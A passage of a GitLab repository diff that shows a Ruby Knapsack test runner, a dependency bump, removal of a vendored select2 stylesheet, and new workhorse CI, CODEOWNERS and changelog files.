+ @rspec_args = rspec_args&.split(' ') || []
+ end
+
+ def run
+ Knapsack.logger.info
+ Knapsack.logger.info 'Knapsack node specs:'
+ Knapsack.logger.info node_tests
+ Knapsack.logger.info
+ Knapsack.logger.info 'Filter specs:'
+ Knapsack.logger.info filter_tests
+ Knapsack.logger.info
+ Knapsack.logger.info 'Running specs:'
+ Knapsack.logger.info tests_to_run
+ Knapsack.logger.info
+
+ if tests_to_run.empty?
+ Knapsack.logger.info 'No tests to run on this node, exiting.'
+ return
+ end
+
+ exec(*rspec_command)
+ end
+
+ private
+
+ attr_reader :allocator, :filter_tests_file, :rspec_args
+
+ def rspec_command
+ %w[bundle exec rspec].tap do |cmd|
+ cmd.push(*rspec_args)
+ cmd.push('--default-path', allocator.test_dir)
+ cmd.push('--')
+ cmd.push(*tests_to_run)
+ end
+ end
+
+ def tests_to_run
+ if filter_tests.empty?
+ Knapsack.logger.info 'Running all node tests without filter'
+ return node_tests
+ end
+
+ @tests_to_run ||= node_tests & filter_tests
+ end
+
+ def node_tests
+ allocator.node_tests
+ end
+
+ def filter_tests
+ @filter_tests ||=
+ filter_tests_file ? tests_from_file(filter_tests_file) : []
+ end
+
+ def tests_from_file(filter_tests_file)
+ return [] unless File.exist?(filter_tests_file)
+
+ File.read(filter_tests_file).split(' ')
+ end
+
+ def knapsack_allocator
+ Knapsack::AllocatorBuilder.new(Knapsack::Adapters::RSpecAdapter).allocator
+ end
+ end
+end
diff --git a/tooling/lib/tooling/test_map_generator.rb b/tooling/lib/tooling/test_map_generator.rb
index bd0415f6e67..20e4ed8e405 100644
--- a/tooling/lib/tooling/test_map_generator.rb
+++ b/tooling/lib/tooling/test_map_generator.rb
@@ -17,7 +17,7 @@ module Tooling
example_groups.each do |example_id, files|
files.each do |file|
spec_file = strip_example_uid(example_id)
- @mapping[file] << spec_file
+ @mapping[file] << spec_file.delete_prefix('./')
end
end
end
diff --git a/tooling/overcommit/Gemfile b/tooling/overcommit/Gemfile
index 08f08018ffb..52e8dcaa497 100644
--- a/tooling/overcommit/Gemfile
+++ b/tooling/overcommit/Gemfile
@@ -4,6 +4,6 @@
source 'https://rubygems.org'
gem 'overcommit'
-gem 'gitlab-styles', '~> 5.1.0', require: false
+gem 'gitlab-styles', '~> 5.3.0', require: false
gem 'scss_lint', '~> 0.56.0', require: false
gem 'haml_lint', '~> 0.34.0', require: false
diff --git a/tooling/overcommit/Gemfile.lock b/tooling/overcommit/Gemfile.lock
index 5bada88e1dc..b46229ac9f8 100644
--- a/tooling/overcommit/Gemfile.lock
+++ b/tooling/overcommit/Gemfile.lock
@@ -11,7 +11,7 @@ GEM
childprocess (3.0.0)
concurrent-ruby (1.1.7)
ffi (1.12.2)
- gitlab-styles (5.1.0)
+ gitlab-styles (5.3.0)
rubocop (~> 0.89.1)
rubocop-gitlab-security (~> 0.1.0)
rubocop-performance (~> 1.8.1)
@@ -88,7 +88,7 @@ PLATFORMS
ruby
DEPENDENCIES
- gitlab-styles (~> 5.1.0)
+ gitlab-styles (~> 5.3.0)
haml_lint (~> 0.34.0)
overcommit
scss_lint (~> 0.56.0)
diff --git a/vendor/assets/stylesheets/select2.scss b/vendor/assets/stylesheets/select2.scss
deleted file mode 100644
index 228f22941b2..00000000000
--- a/vendor/assets/stylesheets/select2.scss
+++ /dev/null
@@ -1,704 +0,0 @@
-/*
-Version: 3.5.2 Timestamp: Sat Nov 1 14:43:36 EDT 2014
-*/
-.select2-container {
- margin: 0;
- position: relative;
- display: inline-block;
- /* inline-block for ie7 */
- zoom: 1;
- *display: inline;
- vertical-align: middle;
-}
-
-.select2-container,
-.select2-drop,
-.select2-search,
-.select2-search input {
-/*
- Force border-box so that % widths fit the parent
- container without overlap because of margin/padding.
- More Info : http://www.quirksmode.org/css/box.html
-*/
--webkit-box-sizing: border-box; /* webkit */
- -moz-box-sizing: border-box; /* firefox */
- box-sizing: border-box; /* css3 */
-}
-
-.select2-container .select2-choice {
- display: block;
- height: 26px;
- padding: 0 0 0 8px;
- overflow: hidden;
- position: relative;
-
- border: 1px solid #aaa;
- white-space: nowrap;
- line-height: 26px;
- color: #444;
- text-decoration: none;
-
- border-radius: 4px;
-
- background-clip: padding-box;
-
- -webkit-touch-callout: none;
- -webkit-user-select: none;
- -moz-user-select: none;
- -ms-user-select: none;
- user-select: none;
-
- background-color: #fff;
- background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.5, #fff));
- background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 50%);
- background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 50%);
- filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#ffffff', endColorstr = '#eeeeee', GradientType = 0);
- background-image: linear-gradient(to top, #eee 0%, #fff 50%);
-}
-
-html[dir="rtl"] .select2-container .select2-choice {
- padding: 0 8px 0 0;
-}
-
-.select2-container.select2-drop-above .select2-choice {
- border-bottom-color: #aaa;
-
- border-radius: 0 0 4px 4px;
-
- background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.9, #fff));
- background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 90%);
- background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 90%);
- filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);
- background-image: linear-gradient(to bottom, #eee 0%, #fff 90%);
-}
-
-.select2-container.select2-allowclear .select2-choice .select2-chosen {
- margin-right: 42px;
-}
-
-.select2-container .select2-choice > .select2-chosen {
- margin-right: 26px;
- display: block;
- overflow: hidden;
-
- white-space: nowrap;
-
- text-overflow: ellipsis;
- float: none;
- width: auto;
-}
-
-html[dir="rtl"] .select2-container .select2-choice > .select2-chosen {
- margin-left: 26px;
- margin-right: 0;
-}
-
-.select2-container .select2-choice abbr {
- display: none;
- width: 12px;
- height: 12px;
- position: absolute;
- right: 24px;
- top: 8px;
-
- font-size: 1px;
- text-decoration: none;
-
- border: 0;
- background: url(image-path('select2.png')) right top no-repeat;
- cursor: pointer;
- outline: 0;
-}
-
-.select2-container.select2-allowclear .select2-choice abbr {
- display: inline-block;
-}
-
-.select2-container .select2-choice abbr:hover {
- background-position: right -11px;
- cursor: pointer;
-}
-
-.select2-drop-mask {
- border: 0;
- margin: 0;
- padding: 0;
- position: fixed;
- left: 0;
- top: 0;
- min-height: 100%;
- min-width: 100%;
- height: auto;
- width: auto;
- opacity: 0;
- z-index: 9998;
- /* styles required for IE to work */
- background-color: #fff;
- filter: alpha(opacity=0);
-}
-
-.select2-drop {
- width: 100%;
- margin-top: -1px;
- position: absolute;
- z-index: 9999;
- top: 100%;
-
- background: #fff;
- color: #000;
- border: 1px solid #aaa;
- border-top: 0;
-
- border-radius: 0 0 4px 4px;
-
- -webkit-box-shadow: 0 4px 5px rgba(0, 0, 0, .15);
- box-shadow: 0 4px 5px rgba(0, 0, 0, .15);
-}
-
-.select2-drop.select2-drop-above {
- margin-top: 1px;
- border-top: 1px solid #aaa;
- border-bottom: 0;
-
- border-radius: 4px 4px 0 0;
-
- -webkit-box-shadow: 0 -4px 5px rgba(0, 0, 0, .15);
- box-shadow: 0 -4px 5px rgba(0, 0, 0, .15);
-}
-
-.select2-drop-active {
- border: 1px solid #5897fb;
- border-top: none;
-}
-
-.select2-drop.select2-drop-above.select2-drop-active {
- border-top: 1px solid #5897fb;
-}
-
-.select2-drop-auto-width {
- border-top: 1px solid #aaa;
- width: auto;
-}
-
-.select2-drop-auto-width .select2-search {
- padding-top: 4px;
-}
-
-.select2-container .select2-choice .select2-arrow {
- display: inline-block;
- width: 18px;
- height: 100%;
- position: absolute;
- right: 0;
- top: 0;
-
- border-left: 1px solid #aaa;
- border-radius: 0 4px 4px 0;
-
- background-clip: padding-box;
-
- background: #ccc;
- background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #ccc), color-stop(0.6, #eee));
- background-image: -webkit-linear-gradient(center bottom, #ccc 0%, #eee 60%);
- background-image: -moz-linear-gradient(center bottom, #ccc 0%, #eee 60%);
- filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#eeeeee', endColorstr = '#cccccc', GradientType = 0);
- background-image: linear-gradient(to top, #ccc 0%, #eee 60%);
-}
-
-html[dir="rtl"] .select2-container .select2-choice .select2-arrow {
- left: 0;
- right: auto;
-
- border-left: none;
- border-right: 1px solid #aaa;
- border-radius: 4px 0 0 4px;
-}
-
-.select2-container .select2-choice .select2-arrow b {
- display: block;
- width: 100%;
- height: 100%;
- background: url(image-path('select2.png')) no-repeat 0 1px;
-}
-
-html[dir="rtl"] .select2-container .select2-choice .select2-arrow b {
- background-position: 2px 1px;
-}
-
-.select2-search {
- display: inline-block;
- width: 100%;
- min-height: 26px;
- margin: 0;
- padding-left: 4px;
- padding-right: 4px;
-
- position: relative;
- z-index: 10000;
-
- white-space: nowrap;
-}
-
-.select2-search input {
- width: 100%;
- height: auto !important;
- min-height: 26px;
- padding: 4px 20px 4px 5px;
- margin: 0;
-
- outline: 0;
- font-family: sans-serif;
- font-size: 1em;
-
- border: 1px solid #aaa;
- border-radius: 0;
-
- -webkit-box-shadow: none;
- box-shadow: none;
-
- background: #fff url(image-path('select2.png')) no-repeat 100% -22px;
- background: url(image-path('select2.png')) no-repeat 100% -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
- background: url(image-path('select2.png')) no-repeat 100% -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
- background: url(image-path('select2.png')) no-repeat 100% -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
- background: url(image-path('select2.png')) no-repeat 100% -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
-}
-
-html[dir="rtl"] .select2-search input {
- padding: 4px 5px 4px 20px;
-
- background: #fff url(image-path('select2.png')) no-repeat -37px -22px;
- background: url(image-path('select2.png')) no-repeat -37px -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
- background: url(image-path('select2.png')) no-repeat -37px -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
- background: url(image-path('select2.png')) no-repeat -37px -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
- background: url(image-path('select2.png')) no-repeat -37px -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
-}
-
-.select2-drop.select2-drop-above .select2-search input {
- margin-top: 4px;
-}
-
-.select2-search input.select2-active {
- background: #fff url(image-path('select2-spinner.gif')) no-repeat 100%;
- background: url(image-path('select2-spinner.gif')) no-repeat 100%, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
- background: url(image-path('select2-spinner.gif')) no-repeat 100%, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
- background: url(image-path('select2-spinner.gif')) no-repeat 100%, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
- background: url(image-path('select2-spinner.gif')) no-repeat 100%, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
-}
-
-.select2-container-active .select2-choice,
-.select2-container-active .select2-choices {
- border: 1px solid #5897fb;
- outline: none;
-
- -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3);
- box-shadow: 0 0 5px rgba(0, 0, 0, .3);
-}
-
-.select2-dropdown-open .select2-choice {
- border-bottom-color: transparent;
- -webkit-box-shadow: 0 1px 0 #fff inset;
- box-shadow: 0 1px 0 #fff inset;
-
- border-bottom-left-radius: 0;
- border-bottom-right-radius: 0;
-
- background-color: #eee;
- background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #fff), color-stop(0.5, #eee));
- background-image: -webkit-linear-gradient(center bottom, #fff 0%, #eee 50%);
- background-image: -moz-linear-gradient(center bottom, #fff 0%, #eee 50%);
- filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);
- background-image: linear-gradient(to top, #fff 0%, #eee 50%);
-}
-
-.select2-dropdown-open.select2-drop-above .select2-choice,
-.select2-dropdown-open.select2-drop-above .select2-choices {
- border: 1px solid #5897fb;
- border-top-color: transparent;
-
- background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #fff), color-stop(0.5, #eee));
- background-image: -webkit-linear-gradient(center top, #fff 0%, #eee 50%);
- background-image: -moz-linear-gradient(center top, #fff 0%, #eee 50%);
- filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);
- background-image: linear-gradient(to bottom, #fff 0%, #eee 50%);
-}
-
-.select2-dropdown-open .select2-choice .select2-arrow {
- background: transparent;
- border-left: none;
- filter: none;
-}
-html[dir="rtl"] .select2-dropdown-open .select2-choice .select2-arrow {
- border-right: none;
-}
-
-.select2-dropdown-open .select2-choice .select2-arrow b {
- background-position: -18px 1px;
-}
-
-html[dir="rtl"] .select2-dropdown-open .select2-choice .select2-arrow b {
- background-position: -16px 1px;
-}
-
-.select2-hidden-accessible {
- border: 0;
- clip: rect(0 0 0 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- width: 1px;
-}
-
-/* results */
-.select2-results {
- max-height: 200px;
- padding: 0 0 0 4px;
- margin: 4px 4px 4px 0;
- position: relative;
- overflow-x: hidden;
- overflow-y: auto;
- -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
-}
-
-html[dir="rtl"] .select2-results {
- padding: 0 4px 0 0;
- margin: 4px 0 4px 4px;
-}
-
-.select2-results ul.select2-result-sub {
- margin: 0;
- padding-left: 0;
-}
-
-.select2-results li {
- list-style: none;
- display: list-item;
- background-image: none;
-}
-
-.select2-results li.select2-result-with-children > .select2-result-label {
- font-weight: bold;
-}
-
-.select2-results .select2-result-label {
- padding: 3px 7px 4px;
- margin: 0;
- cursor: pointer;
-
- min-height: 1em;
-
- -webkit-touch-callout: none;
- -webkit-user-select: none;
- -moz-user-select: none;
- -ms-user-select: none;
- user-select: none;
-}
-
-.select2-results-dept-1 .select2-result-label { padding-left: 20px }
-.select2-results-dept-2 .select2-result-label { padding-left: 40px }
-.select2-results-dept-3 .select2-result-label { padding-left: 60px }
-.select2-results-dept-4 .select2-result-label { padding-left: 80px }
-.select2-results-dept-5 .select2-result-label { padding-left: 100px }
-.select2-results-dept-6 .select2-result-label { padding-left: 110px }
-.select2-results-dept-7 .select2-result-label { padding-left: 120px }
-
-.select2-results .select2-highlighted {
- background: #3875d7;
- color: #fff;
-}
-
-.select2-results li em {
- background: #feffde;
- font-style: normal;
-}
-
-.select2-results .select2-highlighted em {
- background: transparent;
-}
-
-.select2-results .select2-highlighted ul {
- background: #fff;
- color: #000;
-}
-
-.select2-results .select2-no-results,
-.select2-results .select2-searching,
-.select2-results .select2-ajax-error,
-.select2-results .select2-selection-limit {
- background: #f4f4f4;
- display: list-item;
- padding-left: 5px;
-}
-
-/*
-disabled look for disabled choices in the results dropdown
-*/
-.select2-results .select2-disabled.select2-highlighted {
- color: #666;
- background: #f4f4f4;
- display: list-item;
- cursor: default;
-}
-.select2-results .select2-disabled {
-background: #f4f4f4;
-display: list-item;
-cursor: default;
-}
-
-.select2-results .select2-selected {
- display: none;
-}
-
-.select2-more-results.select2-active {
- background: #f4f4f4 url(image-path('select2-spinner.gif')) no-repeat 100%;
-}
-
-.select2-results .select2-ajax-error {
- background: rgba(255, 50, 50, .2);
-}
-
-.select2-more-results {
- background: #f4f4f4;
- display: list-item;
-}
-
-/* disabled styles */
-
-.select2-container.select2-container-disabled .select2-choice {
- background-color: #f4f4f4;
- background-image: none;
- border: 1px solid #ddd;
- cursor: default;
-}
-
-.select2-container.select2-container-disabled .select2-choice .select2-arrow {
- background-color: #f4f4f4;
- background-image: none;
- border-left: 0;
-}
-
-.select2-container.select2-container-disabled .select2-choice abbr {
- display: none;
-}
-
-
-/* multiselect */
-
-.select2-container-multi .select2-choices {
- height: auto !important;
- height: 1%;
- margin: 0;
- padding: 0 5px 0 0;
- position: relative;
-
- border: 1px solid #aaa;
- cursor: text;
- overflow: hidden;
-
- background-color: #fff;
- background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eee), color-stop(15%, #fff));
- background-image: -webkit-linear-gradient(top, #eee 1%, #fff 15%);
- background-image: -moz-linear-gradient(top, #eee 1%, #fff 15%);
- background-image: linear-gradient(to bottom, #eee 1%, #fff 15%);
-}
-
-html[dir="rtl"] .select2-container-multi .select2-choices {
- padding: 0 0 0 5px;
-}
-
-.select2-locked {
-padding: 3px 5px 3px 5px !important;
-}
-
-.select2-container-multi .select2-choices {
- min-height: 26px;
-}
-
-.select2-container-multi.select2-container-active .select2-choices {
- border: 1px solid #5897fb;
- outline: none;
-
- -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3);
- box-shadow: 0 0 5px rgba(0, 0, 0, .3);
-}
-.select2-container-multi .select2-choices li {
- float: left;
- list-style: none;
-}
-html[dir="rtl"] .select2-container-multi .select2-choices li
-{
- float: right;
-}
-.select2-container-multi .select2-choices .select2-search-field {
- margin: 0;
- padding: 0;
- white-space: nowrap;
-}
-
-.select2-container-multi .select2-choices .select2-search-field input {
- padding: 5px;
- margin: 1px 0;
-
- font-family: sans-serif;
- font-size: 100%;
- color: #666;
- outline: 0;
- border: 0;
- -webkit-box-shadow: none;
- box-shadow: none;
- background: transparent !important;
-}
-
-.select2-container-multi .select2-choices .select2-search-field input.select2-active {
- background: #fff url(image-path('select2-spinner.gif')) no-repeat 100% !important;
-}
-
-.select2-default {
- color: #999 !important;
-}
-
-.select2-container-multi .select2-choices .select2-search-choice {
- padding: 3px 5px 3px 18px;
- margin: 3px 0 3px 5px;
- position: relative;
-
- line-height: 13px;
- color: #333;
- cursor: default;
- border: 1px solid #aaaaaa;
-
- border-radius: 3px;
-
- -webkit-box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
- box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
-
- background-clip: padding-box;
-
- -webkit-touch-callout: none;
- -webkit-user-select: none;
- -moz-user-select: none;
- -ms-user-select: none;
- user-select: none;
-
- background-color: #e4e4e4;
- filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#f4f4f4', GradientType=0);
- background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eee));
- background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
- background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
- background-image: linear-gradient(to bottom, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
-}
-html[dir="rtl"] .select2-container-multi .select2-choices .select2-search-choice
-{
- margin: 3px 5px 3px 0;
- padding: 3px 18px 3px 5px;
-}
-.select2-container-multi .select2-choices .select2-search-choice .select2-chosen {
- cursor: default;
-}
-.select2-container-multi .select2-choices .select2-search-choice-focus {
- background: #d4d4d4;
-}
-
-.select2-search-choice-close {
- display: block;
- width: 12px;
- height: 13px;
- position: absolute;
- right: 3px;
- top: 4px;
-
- font-size: 1px;
- outline: none;
- background: url(image-path('select2.png')) right top no-repeat;
-}
-html[dir="rtl"] .select2-search-choice-close {
- right: auto;
- left: 3px;
-}
-
-.select2-container-multi .select2-search-choice-close {
- left: 3px;
-}
-
-html[dir="rtl"] .select2-container-multi .select2-search-choice-close {
- left: auto;
- right: 2px;
-}
-
-.select2-container-multi .select2-choices .select2-search-choice .select2-search-choice-close:hover {
-background-position: right -11px;
-}
-.select2-container-multi .select2-choices .select2-search-choice-focus .select2-search-choice-close {
- background-position: right -11px;
-}
-
-/* disabled styles */
-.select2-container-multi.select2-container-disabled .select2-choices {
- background-color: #f4f4f4;
- background-image: none;
- border: 1px solid #ddd;
- cursor: default;
-}
-
-.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice {
- padding: 3px 5px 3px 5px;
- border: 1px solid #ddd;
- background-image: none;
- background-color: #f4f4f4;
-}
-
-.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice .select2-search-choice-close { display: none;
- background: none;
-}
-/* end multiselect */
-
-
-.select2-result-selectable .select2-match,
-.select2-result-unselectable .select2-match {
- text-decoration: underline;
-}
-
-.select2-offscreen, .select2-offscreen:focus {
- clip: rect(0 0 0 0) !important;
- width: 1px !important;
- height: 1px !important;
- border: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- overflow: hidden !important;
- position: absolute !important;
- outline: 0 !important;
- left: 0px !important;
- top: 0px !important;
-}
-
-.select2-display-none {
- display: none;
-}
-
-.select2-measure-scrollbar {
- position: absolute;
- top: -10000px;
- left: -10000px;
- width: 100px;
- height: 100px;
- overflow: scroll;
-}
-
-/* Retina-ize icons */
-
-@media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (min-resolution: 2dppx) {
- .select2-search input,
- .select2-search-choice-close,
- .select2-container .select2-choice abbr,
- .select2-container .select2-choice .select2-arrow b {
- background-image: url(image-path('select2x2.png')) !important;
- background-repeat: no-repeat !important;
- background-size: 60px 40px !important;
- }
-
- .select2-search input {
- background-position: 100% -21px !important;
- }
-}
diff --git a/vendor/gitignore/C++.gitignore b/vendor/gitignore/C++.gitignore
index 259148fa18f..259148fa18f 100755..100644
--- a/vendor/gitignore/C++.gitignore
+++ b/vendor/gitignore/C++.gitignore
diff --git a/vendor/gitignore/Java.gitignore b/vendor/gitignore/Java.gitignore
index a1c2a238a96..a1c2a238a96 100755..100644
--- a/vendor/gitignore/Java.gitignore
+++ b/vendor/gitignore/Java.gitignore
diff --git a/vendor/sample_data_templates/basic.tar.gz b/vendor/sample_data_templates/sample.tar.gz
index 1ab09f8dc41..1ab09f8dc41 100644
--- a/vendor/sample_data_templates/basic.tar.gz
+++ b/vendor/sample_data_templates/sample.tar.gz
Binary files differ
diff --git a/vendor/sample_data_templates/serenity_valley.tar.gz b/vendor/sample_data_templates/serenity_valley.tar.gz
deleted file mode 100644
index e469d61ca7b..00000000000
--- a/vendor/sample_data_templates/serenity_valley.tar.gz
+++ /dev/null
Binary files differ
diff --git a/workhorse/.gitignore b/workhorse/.gitignore
new file mode 100644
index 00000000000..7d339fef482
--- /dev/null
+++ b/workhorse/.gitignore
@@ -0,0 +1,11 @@
+testdata/data
+testdata/scratch
+testdata/public
+testdata/alt-public
+/gitlab-workhorse
+/gitlab-resize-image
+/gitlab-zip-cat
+/gitlab-zip-metadata
+/_build
+coverage.html
+/*.toml
diff --git a/workhorse/.gitlab-ci.yml b/workhorse/.gitlab-ci.yml
new file mode 100644
index 00000000000..b3377c894e0
--- /dev/null
+++ b/workhorse/.gitlab-ci.yml
@@ -0,0 +1,83 @@
+workflow:
+ rules: &workflow_rules
+ # For merge requests, create a pipeline.
+ - if: '$CI_MERGE_REQUEST_IID'
+ # For `master` branch, create a pipeline (this includes on schedules, pushes, merges, etc.).
+ - if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'
+ # For tags, create a pipeline.
+ - if: '$CI_COMMIT_TAG'
+ # For stable branches, create a pipeline.
+ - if: '$CI_COMMIT_BRANCH =~ /^[\d-]+-stable$/'
+
+default:
+ image: golang:1.13
+ tags:
+ - gitlab-org
+
+# Disable DIND for SAST because we need to execute a before_script in the gosec-sast job
+variables:
+ SAST_DISABLE_DIND: "true"
+
+verify:
+ script:
+ - make verify
+
+changelog:
+ script:
+ - _support/check_changelog.sh
+ rules:
+ - if: '$CI_MERGE_REQUEST_IID'
+
+.test:
+ services:
+ - name: registry.gitlab.com/gitlab-org/build/cng/gitaly:latest
+ # Disable the hooks so we don't have to stub the GitLab API
+ command: ["/usr/bin/env", "GITALY_TESTING_NO_GIT_HOOKS=1", "/scripts/process-wrapper"]
+ alias: gitaly
+ variables:
+ GITALY_ADDRESS: "tcp://gitaly:8075"
+ script:
+ - go version
+ - apt-get update && apt-get -y install libimage-exiftool-perl
+ - make test
+
+test using go 1.13:
+ extends: .test
+ image: golang:1.13
+
+test using go 1.14:
+ extends: .test
+ image: golang:1.14
+
+test:release:
+ rules:
+ - if: '$CI_COMMIT_TAG'
+ script:
+ - git describe --exact-match
+
+include:
+ - template: Security/SAST.gitlab-ci.yml
+ - template: Security/Dependency-Scanning.gitlab-ci.yml
+ - template: Security/Secret-Detection.gitlab-ci.yml
+
+gosec-sast:
+ before_script:
+ - apk add make
+ - make install
+ rules: *workflow_rules
+
+gemnasium-dependency_scanning:
+ rules: *workflow_rules
+
+secret_detection:
+ rules: *workflow_rules
+
+code_navigation:
+ image: golang:latest
+ allow_failure: true
+ script:
+ - go get github.com/sourcegraph/lsif-go/cmd/lsif-go
+ - lsif-go
+ artifacts:
+ reports:
+ lsif: dump.lsif
diff --git a/workhorse/.gitlab/CODEOWNERS b/workhorse/.gitlab/CODEOWNERS
new file mode 100644
index 00000000000..93ee023ee4a
--- /dev/null
+++ b/workhorse/.gitlab/CODEOWNERS
@@ -0,0 +1 @@
+* @jacobvosmaer-gitlab @nick.thomas @nolith @patrickbajao
diff --git a/workhorse/CHANGELOG b/workhorse/CHANGELOG
new file mode 100644
index 00000000000..489ac4531fc
--- /dev/null
+++ b/workhorse/CHANGELOG
@@ -0,0 +1,1069 @@
+# Changelog for gitlab-workhorse
+
+## v8.58.0
+
+### Added
+- Support alternate document root directory
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/626
+
+### Fixed
+- Fix uploader not returning 413 when artifact too large
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/663
+- Auto-register Prometheus metrics
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/660
+
+### Other
+- Do not resize when image is less than 8 bytes
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/666
+
+## v8.57.0
+
+### Added
+- Add direct upload acceleration for requirements import
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/
+
+## v8.56.0
+
+### Fixed
+- Return 413 HTTP status for S3 uploads if max upload limit is reached
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/655
+- Fix EXIF cleaning for S3 compatible Object Storage
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/
+
+### Other
+- Improve logging for image scaler
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/652
+- Update LabKit to v1.0.0
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/659
+
+## v8.55.0
+
+### Added
+- Add direct upload acceleration for metric images
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/653
+
+### Fixed
+- Image scaler: add success-client-cache status label
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/656
+
+## v8.54.0
+
+### Changed
+- Don't reject image scaling requests based on file extension/format mismatch
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/651
+
+### Other
+- Rework image scaler test suite
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/
+- Adjust image scaling latency buckets
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/643
+- Update raven-go and gocertifi packages
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/644
+- jaeger: limit operation cardinality by using route regex
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/648
+
+### Performance
+- Add support for conditional GETs for rescaled images
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/647
+
+## v8.53.0
+
+### Added
+- Add route for Debian package uploads
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/610
+ Contributed by Mathieu Parent
+
+### Fixed
+- Don't log image scaler fail-overs as successes
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/636
+
+### Other
+- Exclude dot-files from "make fmt" target
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/641
+- Add max_processes Prometheus metric for image scaling
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/640
+- Simplify config handling in main()
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/634
+- Default MaxScalerProcs to num_cores / 2
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/635
+- Add a total requests metric for image scaling
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/638
+
+## v8.52.0
+
+### Fixed
+- Only generate CI artifact metadata for ZIP files
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/627
+- Fix typo in redis URL scheme
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/631
+- Restructure error handling in main()
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/633
+
+### Other
+- Include route regex identifier in structured logs
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/624
+
+## v8.51.0
+
+### Changed
+- Allow configure image resizing params
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/615
+
+### Fixed
+- Fix processing lsif dump with repeating lines with inVs
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/621
+ Contributed by Pavel Kuznetsov
+
+### Other
+- Add CODEOWNERS with listed maintainers
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/623
+
+## v8.50.0
+
+### Added
+- Update Gitaly module dependency
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/619
+
+## v8.49.0
+
+### Fixed
+- Fix gitlab-resize-image bin installation
